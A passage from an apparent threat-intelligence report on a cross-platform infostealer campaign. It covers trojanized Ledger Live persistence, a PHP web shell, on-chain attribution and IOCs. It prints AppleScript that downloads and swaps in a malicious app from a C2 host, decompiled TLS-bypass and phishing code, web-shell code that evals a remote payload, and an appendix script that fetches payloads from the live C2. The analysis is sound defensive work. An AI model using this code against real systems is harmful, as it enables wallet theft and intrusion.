After collection, all stolen data is compressed into a single archive, /tmp/osalogging.zip, using the ditto -c -k --sequesterRsrc command. This zip file is the artifact that the parent App.bin process uploads to the C2 server.

4.8.3 Stage 4.3 (macOS): Persistence via Trojanized Applications

The final stage of the AppleScript payload is to establish persistence by replacing legitimate cryptocurrency wallet applications with trojanized versions downloaded from the C2 server.

The script targets both Ledger Live.app and Trezor Suite.app. The download for the malicious Ledger Live application was successful, but the request for the Trezor application (hxxps://goalbus[.]space/trezor/...) resulted in a 404 Not Found error, suggesting this part of the campaign may be inactive or was not fully configured on the C2 server at the time of analysis.

The script proceeds to unzip the downloaded archive, forcefully terminate any running instance of the legitimate application, and replace the original application bundle in /Applications with the malicious version.

-- Download the malicious Ledger Live application zip
set LEDGERURL to "hxxps://goalbus[.]space/ledger/..."
set LEDGERDMGPATH to "/tmp/....zip"
do shell script "curl -k ... -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH

-- Unzip, kill the existing process, and replace the original application
try
    do shell script "killall -9 'Ledger Live'"
end try
do shell script "rm -rf '/Applications/Ledger Live.app'"
do shell script "cp -R '/tmp/Ledger Live.app' '/Applications'"
4.8.3.1 Analysis of the Trojanized Ledger Live Application

The binary is a malicious macOS application written in Objective-C, designed to impersonate the legitimate “Ledger Live” software. Its primary function is to serve as a sophisticated phishing tool to steal cryptocurrency wallet credentials.

The core malicious logic is implemented within the AppDelegate class, which controls the application’s lifecycle and user interface.

4.8.3.1.1 C2 Communication and Phishing Payload Delivery

Upon launch, the applicationDidFinishLaunching: method immediately sets up a WKWebView component. This web view is not used for legitimate application functions but is instead hardcoded to load a remote phishing page from an attacker-controlled server.

The application connects to hxxps://goalbus[.]space/ledger/start/<build_id> and includes a hardcoded api-key header in the HTTP request. This key likely serves as an identifier for this specific malware campaign or build, allowing the attacker to track its effectiveness.

The relevant decompiled code clearly shows the URL and API key being prepared for the web request:

// Decompiled snippet from -[AppDelegate applicationDidFinishLaunching:]

// 1. Hardcoded URL for the phishing page
URLString = objc_retain(CFSTR("hxxps://goalbus[.]space/ledger/start/6144b59e8aa5227d2cd5f9144fe8b847ee8cceeeb1d73ba99dbe33188162efab"));

// 2. Hardcoded API key for C2 communication
location__1 = objc_retain(CFSTR("5190ef1733183a0dc63fb623357f56d6"));

// 3. Create a URL request object
v24 = objc_retainAutoreleasedReturnValue(+[NSURL URLWithString:](&OBJC_CLASS___NSURL, "URLWithString:", URLString));
location_2[0] = objc_retainAutoreleasedReturnValue(+[NSMutableURLRequest requestWithURL:](&OBJC_CLASS___NSMutableURLRequest, "requestWithURL:"));
objc_release(v24);

// 4. Inject the API key into the HTTP headers
objc_msgSend(location_2[0], "setValue:forHTTPHeaderField:", location__1, CFSTR("api-key"));

// 5. Load the request in the WebView
self_5 = objc_retainAutoreleasedReturnValue(-[AppDelegate webView](self_1, "webView"));
v4 = objc_unsafeClaimAutoreleasedReturnValue(-[WKWebView loadRequest:](self_5, "loadRequest:", location_2[0]));
4.8.3.1.2 TLS Certificate Validation Bypass

To ensure a seamless connection to its C2 server, which may be using a self-signed or untrusted TLS certificate, the malware explicitly bypasses standard certificate validation. This is a critical feature that prevents macOS from displaying security warnings that would alert the user to a potentially malicious connection.

This bypass is implemented in the webView:didReceiveAuthenticationChallenge:completionHandler: delegate method. The code checks if the connection challenge is for server trust (NSURLAuthenticationMethodServerTrust). If it is, it programmatically creates a credential from the untrusted server certificate and instructs the web view to accept it, thereby completing the TLS handshake without proper validation.

// Decompiled method responsible for bypassing TLS certificate validation
void __cdecl -[AppDelegate webView:didReceiveAuthenticationChallenge:completionHandler:](
        AppDelegate *self, SEL a2, id webView, id challenge, id completionHandler)
{
  id protectionSpace; // self_1
  id authMethod; // self_2
  BOOL isServerTrustChallenge; // v10

  // Get the protection space and authentication method from the challenge
  protectionSpace = objc_msgSend(challenge, "protectionSpace");
  authMethod = objc_msgSend(protectionSpace, "authenticationMethod");

  // Check if the authentication method is for server trust
  isServerTrustChallenge = (BOOL)objc_msgSend(authMethod, "isEqualToString:", NSURLAuthenticationMethodServerTrust);

  // ... (releases) ...

  if (isServerTrustChallenge)
  {
    // If it is a server trust challenge, get the server's trust object
    id serverTrust = objc_msgSend(protectionSpace, "serverTrust");

    // Create a credential that blindly accepts this trust object
    id credential = +[NSURLCredential credentialForTrust:](&OBJC_CLASS___NSURLCredential, "credentialForTrust:", serverTrust);

    // Call the completion handler to proceed with the connection, using the generated (unsafe) credential
    ((void (*)(id, NSInteger, id))completionHandler)(completionHandler, 0 /* UseCredential */, credential);
  }
  else
  {
    // For all other challenges, perform default handling
    ((void (*)(id, NSInteger, id))completionHandler)(completionHandler, 2 /* PerformDefaultHandling */, 0);
  }
}
4.8.3.1.3 User Interface Spoofing

To maintain the illusion of legitimacy, the application spoofs the appearance of the real Ledger Live client. It sets the main window title to “Ledger Live” and locks the window dimensions to a fixed size of 1250x775 pixels, making it non-resizable. This ensures the phishing content within the web view is displayed precisely as intended by the attacker, without distortion or user interference. The content displayed in the webview is shown in Figure 4 and Figure 5.

Figure 4: The trojanized application rendering the phishing page inside a native WKWebView.
Figure 5: The phishing page prompting the user for their secret recovery phrase.

By combining a spoofed user interface with a TLS validation bypass, the application is engineered to capture wallet credentials and seed phrases from its remote phishing page without triggering standard security warnings.

The Tactics, Techniques, and Procedures observed in this campaign—specifically the use of a fake captcha lure and the reliance on BSC smart contracts for C2—align directly with the characteristics of the Acreed infostealer documented in the Intrinsec “Analysis of Acreed, a rising infostealer” report. A deeper investigation into the on-chain infrastructure confirms that this is a more recent campaign operated by the same threat actor.

While the Intrinsec report successfully linked Acreed’s server infrastructure to the Vidar stealer ecosystem, our analysis provides a direct, internal link between the actor’s past and present on-chain transactional activities, confirming their continued activity and operational evolution.

4.9.1 Operational Control and Infrastructure Setup

The wallet address 0xd71f4cdc84420d2bd07f50787b4f998b4c2d5290 was identified as the sole creator of all smart contracts deployed in this campaign, establishing it as the actor’s current primary operational wallet. The contracts created by this address form the core of the attack’s delivery and C2 infrastructure:

4.9.2 On-Chain Transactional Analysis and Actor Continuity

The definitive link to the original Acreed campaign is established through multiple, overlapping on-chain transactional patterns that confirm the continuity of the threat actor’s operations.

First, our analysis identified a common network of approximately 20 intermediary wallet addresses that were used exclusively to supply testnet BNB for gas fees. These dedicated addresses replenished both the wallet associated with the ClickFix activities in the Intrinsec report (0x7102...b94d) and the new operational wallet (0xd71f...5290). This shared, single-purpose funding infrastructure is a strong indicator of a single operator. Transaction analysis revealed a distinct temporal shift: approximately 140 days ago, these gas-supplying addresses ceased sending funds to the old wallet and simultaneously began funding the new one exclusively. This pattern indicates a deliberate rotation of on-chain infrastructure.

Second, reinforcing this connection is a direct, linear funding chain. The original wallet (0x7102...b94d) funded an intermediary address (0xAf7b...d2E1), which in turn provided the initial funding for the current primary operational wallet (0xd71f...5290). This direct flow of funds provides an undeniable link between the old and new infrastructure.

Notably, this now-active operational wallet (0xd71f...5290) was previously mentioned in the Intrinsec report. However, at the time of their analysis, it was not associated with any live malicious operations. Our findings demonstrate that the threat actor has since activated this address, using it as the core of their evolved C2 infrastructure, confirming that the actor remains active and has evolved their operational setup since the period covered by the prior research.

4.9.3 On-Chain Artifacts: The DSH v0.1 Web Shell

Further on-chain investigation revealed additional tools in the actor’s arsenal, providing insight into how they manage their web-based infrastructure. The same operational wallet (0xd71f...5290) that deployed the C2 smart contracts also created a contract identified in previous public reporting as a “test” contract (0xfa49...2ba0). While most transactions to this contract stored simple strings like “test”, one transaction (0x586c...7105) contained a URL pointing to content on the InterPlanetary File System (IPFS).

The content retrieved from this link (ipfs://QmYWm...HVdP2) was a sophisticated, single-file PHP web shell. The HTML output of the script identifies it as “DSH v0.1”. This artifact provides a direct link between the actor’s on-chain C2 management and their methods for controlling compromised web servers.

4.9.3.1 Access Control and Evasion

The web shell implements an access control mechanism that restricts usage to specific IP subnets and a predefined User-Agent string.

  1. IP Address Whitelisting: The script calculates the MD5 hash of the visitor’s /24 IP subnet (e.g., md5("192.168.1")) and compares it against a list of three valid hashes. Any request from an IP outside of these subnets is immediately terminated.
  2. User Agent Whitelisting: As an alternative, it also grants access if the request’s User-Agent string contains "ShellBot 2.0", a known indicator associated with scanning for this specific web shell family.
$_hash = array(
    "5a0894e0c916a1da73ac51c9a089b480", // md5("46.8.231")
    "f97927a4fb5f0f6b913b56393939ae6a", // md5("193.58.120")
    "b030f3ebeeceadb720167ecfbf573184"  // md5("146.103.111")
);
// ...
$subnet = md5(substr($_adddr, 0, -strlen(strrchr($_adddr, "."))));
if (!in_array($subnet, $_hash) && !str_contains($user_agent, 'ShellBot 2.0')){
    die($_adddr);
}

The hardcoded hashes correspond to the following IP subnets, likely representing the attacker’s operational infrastructure: 46.8.231.0/24, 193.58.120.0/24, and 146.103.111.0/24.

4.9.3.2 Core Functionality: AJAX-Based File Manager

The web shell provides the operator with a comprehensive, AJAX-powered interface for managing the compromised server’s file system. Its capabilities include:

4.9.3.3 Remote Payload Execution

The script includes a mechanism to download and execute a secondary PHP payload. This functionality allows the attacker to update the web shell or load additional modules on the fly.

The getFile() function is used to fetch a payload from a hardcoded Bitly URL (https://bit.ly/wsoExGently2), which redirects to a raw Gist page containing PHP code. The script then executes this code using eval(). Interestingly, this execution is triggered only if the server’s disable_functions configuration setting is populated, suggesting the secondary payload may be designed to bypass specific security restrictions on the compromised host.

$disable_functions = @ini_get('disable_functions');
if( $disable_functions ) {
    eval(getFile($part_url));
}
4.9.3.4 Role in the Attack Chain

The discovery of this web shell directly links the actor’s on-chain C2 infrastructure to their web server compromise toolkit. Given that the main stealer campaign originates from an injected script on a compromised WordPress site, it is highly probable that the DSH web shell is the tool used by the actor to maintain persistent access to these servers. This allows them to inject and update the initial JavaScript loaders that kickstart the infection chain. While it is possible the actor only stored this script on the blockchain for testing purposes, its presence within their operational infrastructure strongly suggests it is part of their standard toolset for managing compromised web assets.

4.10 Conclusion

This malware campaign demonstrates a sophisticated, cross-platform attack that leverages a hybrid C2 architecture to combine resilience with granular operational control. The threat actor displays a deep understanding of both Windows and macOS, deploying distinct toolchains designed to maximize impact while evading detection.

The key stages and findings of the campaign are:

  1. Unified Initial Access & Resilient C2: The attack originates from a compromised website, using a blockchain-based loader to fetch subsequent stages from Binance Smart Chain (BSC) smart contracts. This decentralized approach makes the initial command-and-control infrastructure exceptionally resistant to takedowns.

  2. Platform-Aware Social Engineering: A common fake reCAPTCHA lure is used to trick victims into manually executing a payload. The command copied to the user’s clipboard is platform-specific, initiating either an mshta command on Windows or a curl | sh pipeline on macOS.

  3. Divergent and Complex Post-Exploitation Chains: After the initial user-assisted execution, the infection paths diverge completely:

    • On Windows, the malware employs a deep, fileless execution chain involving VBScript and multiple layers of obfuscated PowerShell to deploy the PureCrypter loader, which in turn executes the ACR information stealer.

      A key contribution of this report is the full documentation of the ACR Stealer’s C2 configuration format. This analysis reveals a modular tasking system that allows the stealer to function as a versatile secondary dropper. In this campaign, it was tasked with deploying additional malware, including the Amadey botnet client and a custom Go-based Discord token stealer, demonstrating the actor’s intent to establish long-term persistence and monetize compromised hosts through multiple avenues.

    • On macOS, the malware utilizes a native Mach-O binary to launch its final payload. While this payload internally labels itself as “MacSync Stealer,” we definitively attribute it to the Mac.c stealer family. This attribution is based on the native dropper’s characteristic execution pattern, the use of an identical exfiltration archive path (/tmp/osalogging.zip), significant code and string overlap in the AppleScript payload, and its distinctive method of trojanizing applications for persistence.

  4. Targeted Final Payloads and Persistence: The ultimate goals are tailored to each platform. The Windows chain culminates in the deployment of the ACR Stealer for broad, configurable data theft. The macOS chain, however, adds a pernicious persistence mechanism by trojanizing legitimate cryptocurrency applications (Ledger Live, Trezor Suite). It replaces them with malicious WebView-based applications that load phishing pages from the C2 server, aiming for the long-term theft of high-value wallet credentials and seed phrases.

This campaign highlights a well-resourced and adaptable adversary, capable of managing a novel C2 infrastructure while simultaneously developing and deploying two entirely separate, feature-rich toolchains customized for the dominant desktop operating systems. The discovery of their associated web shell tooling provides a more complete picture of their operational lifecycle, from initial web server compromise to final payload execution.

5 Appendix

5.1 Acreed C2 download script

import requests
import base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

# --- Malware Constants ---
OBFUSCATED_C2_STRING = "DRsDBwUXAwMdMQEA"
C2_HOST_HEADER = "aether100pronotification.table.core.windows.net"
PAYLOAD_GUID = "08de0189-4e5e-477f-8700-1cd264a45266"

AES_KEY = bytes.fromhex(
    "7640FED98A53856641763683163F4127B9FC00F9A788773C00EE1F2634CEC82F"
)
XOR_KEY = b"852149723\x00"

# --- Directory Definitions ---
RESPONSE_DIR = "responses"
PAYLOAD_DIR = "payloads"

# --- Helper Functions ---

def save_to_file(directory, filename, data):
    """Saves data to a file in the specified directory."""
    filepath = os.path.join(directory, filename)
    mode = 'wb' if isinstance(data, bytes) else 'w'
    encoding = None if mode == 'wb' else 'utf-8'
    try:
        with open(filepath, mode, encoding=encoding) as f:
            f.write(data)
        print(f"    [+] Saved data to '{filepath}'")
    except Exception as e:
        print(f"    [!] Failed to save data to '{filepath}': {e}")

def encrypt_request(data_dict: dict) -> bytes:
    """Encrypts the request body using AES-256-CBC."""
    plaintext = json.dumps(data_dict).encode('utf-8')
    iv = os.urandom(16)
    cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
    padded_plaintext = pad(plaintext, AES.block_size)
    ciphertext = cipher.encrypt(padded_plaintext)
    return iv + ciphertext

def decrypt_response(response_data: bytes) -> bytes:
    """Decrypts the C2 response using AES-256-CBC."""
    if len(response_data) < 16:
        raise ValueError("Response data is too short to contain an IV.")
    iv = response_data[:16]
    ciphertext = response_data[16:]
    cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
    padded_plaintext = cipher.decrypt(ciphertext)
    try:
        plaintext = unpad(padded_plaintext, AES.block_size)
        return plaintext
    except ValueError:
        return padded_plaintext

def xor_decrypt(data: bytes, key: bytes) -> bytes:
    """Decrypts data using a repeating XOR key."""
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

def decode_c2_domain(obfuscated_str: str) -> str:
    """Decodes the C2 domain from the obfuscated string."""
    decoded_b64 = base64.b64decode(obfuscated_str)
    decrypted_domain = xor_decrypt(decoded_b64, XOR_KEY)
    return decrypted_domain.decode('utf-8')

# --- Main Script Logic ---

def main():
    os.makedirs(RESPONSE_DIR, exist_ok=True)
    os.makedirs(PAYLOAD_DIR, exist_ok=True)
    print(f"[*] Saving all intermediate responses to the '{RESPONSE_DIR}/' directory.")

    try:
        c2_domain = decode_c2_domain(OBFUSCATED_C2_STRING)
        print(f"[*] Decoded C2 domain: {c2_domain}")
    except Exception as e:
        print(f"[!] Failed to decode C2 domain: {e}")
        return

    c2_url_base = f"https://{c2_domain}/"
    headers = {
        "Content-Type": "application/octet-stream",
        "Connection": "close",
        "Host": C2_HOST_HEADER
    }

    # === STEP 1: Get Endpoints ===
    print("\n[*] STEP 1: Performing 'GetEndpoints' handshake...")
    get_endpoints_json = {"Command": "GetEndpoints"}
    encrypted_endpoints_body = encrypt_request(get_endpoints_json)

    try:
        response_step1 = requests.post(c2_url_base, data=encrypted_endpoints_body, headers=headers, verify=False, timeout=10)
        response_step1.raise_for_status()
        print(f"[+] Received {len(response_step1.content)} bytes from C2.")
        save_to_file(RESPONSE_DIR, "step1_raw_encrypted_response.bin", response_step1.content)
    except requests.exceptions.RequestException as e:
        print(f"[!] HTTP Request for endpoints failed: {e}")
        return

    try:
        decrypted_endpoints_response = decrypt_response(response_step1.content)
        endpoints_config = json.loads(decrypted_endpoints_response)
        print("[+] Decrypted endpoints configuration.")
        save_to_file(RESPONSE_DIR, "step1_decrypted_endpoints.json", json.dumps(endpoints_config, indent=4))

        payload_config_path = endpoints_config.get("c")
        if not payload_config_path:
            print("[!] Could not find the required path ('c' key) in the endpoints response.")
            return
        print(f"[*] Extracted payload config path: '{payload_config_path}'")

    except Exception as e:
        print(f"[!] Failed to process endpoints response: {e}")
        return

    # === STEP 2: Get Payload Configuration ===
    print("\n[*] STEP 2: Fetching the main payload configuration...")
    get_payload_json = {"Id": PAYLOAD_GUID}
    encrypted_payload_body = encrypt_request(get_payload_json)
    payload_config_url = f"https://{c2_domain}{payload_config_path}"

    try:
        response_step2 = requests.post(payload_config_url, data=encrypted_payload_body, headers=headers, verify=False, timeout=10)
        response_step2.raise_for_status()
        print(f"[+] Received {len(response_step2.content)} bytes from C2.")
        save_to_file(RESPONSE_DIR, "step2_raw_encrypted_response.bin", response_step2.content)
    except requests.exceptions.RequestException as e:
        print(f"[!] HTTP Request for payload config failed: {e}")
        return

    # === STEP 3: Decrypt and Process Final Config ===
    print("\n[*] STEP 3: Decrypting and processing final configuration...")
    try:
        decrypted_c2_response = decrypt_response(response_step2.content)
        print("[+] AES decryption successful.")
        save_to_file(RESPONSE_DIR, "step3_1_aes_decrypted.b64", decrypted_c2_response)
    except Exception as e:
        print(f"[!] AES decryption failed: {e}")
        return

    try:
        base64_decoded_data = base64.b64decode(decrypted_c2_response)
        print(f"[+] Base64 decoding successful ({len(base64_decoded_data)} bytes).")
        save_to_file(RESPONSE_DIR, "step3_2_b64_decoded.bin", base64_decoded_data)
    except Exception as e:
        print(f"[!] Base64 decoding failed: {e}")
        return

    final_config_json_data = xor_decrypt(base64_decoded_data, XOR_KEY)
    print("[+] XOR decryption successful.")
    save_to_file(RESPONSE_DIR, "step3_3_final_decrypted_config.bin", final_config_json_data)

    try:
        final_config = json.loads(final_config_json_data)
        save_to_file(RESPONSE_DIR, "final_config.json", json.dumps(final_config, indent=4))
        print("[+] Successfully parsed final configuration as JSON.")
    except json.JSONDecodeError as e:
        print(f"[!] Failed to parse final config as JSON: {e}")
        return

    # === STEP 4: Download Payloads from 'ld' Jobs ===
    if 'ld' in final_config and isinstance(final_config.get('ld'), list):
        print(f"\n[*] STEP 4: Found download jobs. Saving to '{PAYLOAD_DIR}/' directory...")
        for idx, job in enumerate(final_config.get('ld', [])):
            if 'u' in job:
                url = job.get('u')
                filename = os.path.basename(url.split('?')[0]) or f"payload_{idx+1}.bin"
                print(f"    -> Downloading from: {url}")
                try:
                    payload_response = requests.get(url, verify=False, timeout=15)
                    payload_response.raise_for_status()
                    save_to_file(PAYLOAD_DIR, filename, payload_response.content)
                except requests.exceptions.RequestException as e:
                    print(f"    [!] Failed to download payload from {url}: {e}")
            else:
                print(f"    [!] Job {idx+1} is missing a URL ('u' key).")
    else:
        print("\n[*] No download jobs ('ld' key) found in the configuration.")

if __name__ == "__main__":
    from urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
    main()

5.2 Acreed Configuration Reference Table

JSON Key Possible Values Description
b Array of Objects Top-level key for an array of browser data theft tasks.
b[*].n String (e.g., "b\\c8") Internal name or identifier used by the malware to categorize the target browser profile.
b[*].p String (e.g., "\\Local\\...\\User Data") The relative path to the browser’s data directory, starting from a user’s base profile folder (e.g., %APPDATA% or %LOCALAPPDATA%).
b[*].t 1 = Chromium-based
2 = Gecko-based (Firefox)
A flag indicating the browser’s engine type. This determines which set of functions and file targets (e.g., Login Data vs. logins.json) the malware will use to steal data.
b[*].pn String (e.g., "chrome.exe") The executable name of the browser. This process is launched in a suspended state and used as a host for process hollowing to decrypt certain types of browser data, like credentials and cookies.
exW, exP, exG Array of Objects Arrays defining targets for stealing data from specific browser extensions. The letters likely stand for Wallets, Passwords, and General extensions.
exW[*].id String (e.g., "niic...phjd") The unique identifier of a target browser extension. This ID is used to build the path to the extension’s local data storage directory.
exW[*].n String (e.g., "w179") An internal name used to label and categorize the stolen extension data when it is exfiltrated.
sW, sM, sO, g Array of Objects Arrays defining tasks for stealing files from various software (Wallets, Messaging, Other) and general file grabbing (g).
sW[*].a String (e.g., "w", "m", "o", "g") A category flag (‘w’ for wallet, etc.) used internally to classify the type of data being stolen.
sW[*].p String (e.g., "\\Monero\\wallets") The relative path to the target file or folder that will be searched for data.
sW[*].r Boolean (true or false) A boolean flag indicating whether the file search should be performed recursively, scanning all subdirectories within the target path.
sW[*].gl 2 = %APPDATA%\\Roaming
3 = Desktop
4 = %USERPROFILE%
5 = Documents
“Grab Location” flag. This key specifies a general root directory for a search. It is primarily used by the general file grabber tasks (category "g"), but its role can be secondary to the more specific tp flag when both are present. This key is ignored by specific file-stealing tasks (sW, sM, sO).
sW[*].f Array of Strings (e.g., ["*wallet*dat"]) An array of file patterns (including wildcards) to match and steal within the specified path.
sW[*].tp Integer (1-5)

“Target Path Type.” A flag that dictates how the final path is constructed by combining a base directory with the relative path from the "p" key. It is used by both specific file-stealing (sW, sM, sO) and general grabbing (g) tasks.

  • 1: Absolute Path
    The path in "p" is used directly.
  • 2: AppData Path
    Constructs <UserProfile>\AppData\[p].
  • 3: Desktop Path
    Constructs <UserProfile>\Desktop\[p].
  • 4: User Profile Path
    Constructs <UserProfile>\[p].
  • 5: Documents Path
    Constructs <UserProfile>\Documents\[p].
ld Array of Objects Top-level key for an array of download-and-execute tasks.
ld[*].u String (URL) The URL from which to download the next-stage payload.
ld[*].tr 1 = Drop & Execute
2 = In-Memory Execution
“Type Run.” This is the primary flag controlling the execution strategy. 1 saves the payload to disk first, while 2 executes it directly from memory.
ld[*].tf 1, 2, 3, 4, 5 “Type File.” The meaning of this key depends on the value of "tr":
If tr is 1 (Drop & Execute): Determines the file extension (1=.exe, 2=.cmd, 3=.dll, 4=.ps1) for the payload dropped to disk. It also influences the execution command (4 uses powershell.exe -File, while .exe is executed directly via CreateProcessA. cmd and dll both fail).
If tr is 2 (In-Memory Execution): Dictates the specific in-memory technique. 4 uses PowerShell IEX(DownloadString), and 5 uses Process Hollowing into rundll32.exe.
ld[*].p Integer (e.g., 1) Possibly priority value. This key is present in the configuration but is not used by the client-side execution logic in this sample.
ld[*].c, ld[*].w [], false Possibly Command Line/Wait values. These keys are present but are not used by the client-side execution logic in this sample.
str Object Contains several nested objects with key-value string pairs. A static analysis shows these strings are not referenced or used anywhere in this binary, suggesting they are artifacts from a malware builder or intended for different malware variants.

5.3 ClickFix URL extraction script

import requests
import time
import re
import base64
import binascii
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
from eth_abi.abi import decode
from eth_abi import exceptions as eth_abi_exceptions


class C2ExtractionError(Exception):
    """Custom exception for failures during C2 extraction."""

    pass


def deobfuscate_c2_domain(obfuscated_domain: str) -> str:
    parts = obfuscated_domain.split(".")
    deobfuscated_parts = [part[::-1] for part in parts[:-1]]
    deobfuscated_parts.append(parts[-1])
    return ".".join(deobfuscated_parts)


def extract_c2_from_tx_data(hex_data: str) -> str:
    SET_FUNCTION_SELECTOR = "0x4ed3885e"
    if not hex_data.startswith(SET_FUNCTION_SELECTOR):
        raise C2ExtractionError(
            "Transaction data does not match the target function selector."
        )

    try:
        encoded_args_hex = hex_data[len(SET_FUNCTION_SELECTOR) :]
        decoded_tuple = decode(["string"], bytes.fromhex(encoded_args_hex))
        first_level_script = base64.b64decode(decoded_tuple[0]).decode("utf-8")
    except (binascii.Error, UnicodeDecodeError, eth_abi_exceptions.DecodingError) as e:
        raise C2ExtractionError(
            "Stage 1 failed: Could not decode ABI/Base64 payload."
        ) from e

    stage2_match = re.search(r'eval\(atob\("([A-Za-z0-9+/=]+)"\)\)', first_level_script)
    if not stage2_match:
        raise C2ExtractionError(
            "Stage 2 failed: Could not find the nested 'eval(atob(...))' payload."
        )

    try:
        second_level_script = base64.b64decode(stage2_match.group(1)).decode(
            "utf-8", errors="ignore"
        )
    except (binascii.Error, UnicodeDecodeError) as e:
        raise C2ExtractionError(
            "Stage 2 failed: Could not decode the nested payload."
        ) from e

    candidates = re.findall(r"['\"]([A-Za-z0-9+/]{20,}=*)['\"]", second_level_script)
    if not candidates:
        raise C2ExtractionError(
            "Stage 3 failed: No potential Base64 C2 candidates found."
        )

    for candidate_b64 in candidates:
        try:
            padding = "=" * (4 - len(candidate_b64) % 4)
            obfuscated_domain = base64.b64decode(candidate_b64 + padding).decode(
                "utf-8"
            )
            if "." in obfuscated_domain and "/" in obfuscated_domain:
                return deobfuscate_c2_domain(obfuscated_domain)
        except (binascii.Error, UnicodeDecodeError):
            continue
    raise C2ExtractionError(
        "Stage 3 failed: No valid C2 URL found after checking all candidates."
    )


# --- Networking and Orchestration Logic (Corrected for 10k Limit) ---


def create_session_with_retries() -> requests.Session:
    """Creates a requests session with a robust retry strategy."""
    session = requests.Session()
    retry_strategy = Retry(
        total=5,
        backoff_factor=2,
        status_forcelist=[429, 500, 502, 503, 504, 403],
        allowed_methods=["GET"],
    )
    adapter = HTTPAdapter(max_retries=retry_strategy)
    session.mount("https://", adapter)
    session.mount("http://", adapter)
    return session


def fetch_transaction_chunk(session, sender, api_key, chain_id, start_block, page_size):
    """
    Fetches one chunk of transactions, paginating up to the 10,000 record limit.
    Returns a list of transactions fetched in the chunk.
    """
    chunk_transactions = []
    current_page = 1
    base_url = "https://api.etherscan.io/v2/api"

    while True:
        params = {
            "chainid": chain_id,
            "module": "account",
            "action": "txlist",
            "address": sender,
            "startblock": start_block,
            "endblock": "latest",
            "page": current_page,
            "offset": page_size,
            "sort": "asc",
            "apikey": api_key,
        }
        response = session.get(base_url, params=params)
        response.raise_for_status()
        data = response.json()

        if data.get("status") == "1":
            result = data.get("result", [])
            if not result:
                break
            chunk_transactions.extend(result)
            if len(result) < page_size:
                break
            current_page += 1
        else:
            if "Result window is too large" not in data.get("message", ""):
                print(f"API Error: {data.get('message', 'Unknown Error')}")
            break

    return chunk_transactions


def fetch_and_extract_c2s(
    sender, recipient, api_key, chain_id, start_block=0, page_size=1000
):
    """
    Orchestrates fetching all transactions in chunks to bypass the 10k API limit
    and extracts C2 domains.
    """
    total_tx_processed = 0
    found_c2_count = 0
    current_start_block = start_block
    session = create_session_with_retries()

    while True:
        print(f"Fetching new chunk starting from block {current_start_block}...")
        try:
            chunk = fetch_transaction_chunk(
                session, sender, api_key, chain_id, current_start_block, page_size
            )
        except requests.exceptions.RequestException as e:
            return f"❌ Aborting. A network error occurred after multiple retries: {e}"

        if not chunk:
            print("\n✅ No more transactions found. All available data processed.")
            break

        for tx in chunk:
            if tx.get("to", "").lower() == recipient:
                try:
                    c2_domain = extract_c2_from_tx_data(tx["input"])
                    print(f"[+] Found C2: {c2_domain}")
                    found_c2_count += 1
                except C2ExtractionError:
                    continue

        total_tx_processed += len(chunk)
        print(
            f"   ... Processed {len(chunk)} transactions in chunk. Total so far: {total_tx_processed}"
        )

        current_start_block = int(chunk[-1]["blockNumber"]) + 1
        time.sleep(0.2)

    return found_c2_count


if __name__ == "__main__":
    API_KEY = "..."
    SENDER_ADDRESS = "0xd71f4cdC84420d2bd07F50787B4F998b4c2d5290"
    RECIPIENT_CONTRACT = "0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5".lower()
    TARGET_CHAIN_ID = 97  # BSC Testnet

    print(
        f"Starting C2 extraction for sender {SENDER_ADDRESS} on chain {TARGET_CHAIN_ID}..."
    )
    result = fetch_and_extract_c2s(
        SENDER_ADDRESS,
        RECIPIENT_CONTRACT,
        API_KEY,
        chain_id=TARGET_CHAIN_ID,
        start_block=66099761,
        page_size=2000,
    )

    if isinstance(result, str):
        print(f"\n❌ An error occurred: {result}")
    else:
        print(f"\n✅ Success! Found a total of {result} C2 ClickFix URLs.")

6 IOCs

Indicator Type Description
Network Indicators
​w​w​w​[​.​]​s​a​m​u​e​l​o​r​i​g​e​[​.​]​c​o​m​[​.​]​b​r​ Domain Initial point of compromise; a WordPress site hosting the malicious Stage 1 JavaScript loader.
​b​s​c​-​t​e​s​t​n​e​t​[​.​]​b​n​b​c​h​a​i​n​[​.​]​o​r​g​ Domain Legitimate public RPC endpoint for the Binance Smart Chain (BSC) testnet, used for blockchain queries.
n3[.]p9a0k[.]ru Domain Stage 3 C2 server hosting the HTA (Windows) and shell script (macOS) payloads.
ba5eq[.]ru Domain Base domain used for the DGA in the Stage 4.4 PowerShell downloader on Windows.
yummygorgeous[.]com Domain C2 server hosting the native macOS dropper (App.bin).
goalbus[.]space Domain Primary C2 server for the macOS infection chain, used for downloading payloads and exfiltrating data.
​a​e​t​h​e​r​1​0​0​p​r​o​n​o​t​i​f​i​c​a​t​i​o​n​.​t​a​b​l​e​.​c​o​r​e​.​w​i​n​d​o​w​s​.​n​e​t​ Domain Masquerading C2 domain for the ACR Stealer (Windows payload).
5.161.41.195 IP Address Final C2 server for the ACR Stealer (Windows payload), used for tasking and configuration.
85.209.128.128 IP Address C2 server hosting binary payloads (blender.bin, discord.bin) for the ACR Stealer.
87.120.219.26 IP Address C2 server hosting a PowerShell payload for the ACR Stealer.
​h​x​x​p​s​:​/​/​n​3​[​.​]​p​9​a​0​k​[​.​]​r​u​/​q​7​p​[​.​]​c​h​e​c​k​ URL Full URL for the Stage 4 HTA (Windows) and shell script (macOS) payloads.
​h​x​x​p​s​:​/​/​4​9​5​1​6​1​[​.​]​y​u​m​m​y​g​o​r​g​e​o​u​s​[​.​]​c​o​m​/​A​p​p​[​.​]​b​i​n​ URL Full URL for the Stage 4 macOS native dropper.
hxxps://goalbus[.]space/dynamic URL Path Endpoint on the macOS C2 server for downloading the main AppleScript stealer payload.
hxxps://goalbus[.]space/gate URL Path Endpoint on the macOS C2 server for exfiltrating stolen data.
​h​x​x​p​s​:​/​/​g​o​a​l​b​u​s​[​.​]​s​p​a​c​e​/​l​e​d​g​e​r​/​s​t​a​r​t​/​<​b​u​i​l​d​_​i​d​>​ URL Path Endpoint for loading the phishing page in the trojanized Ledger Live application.
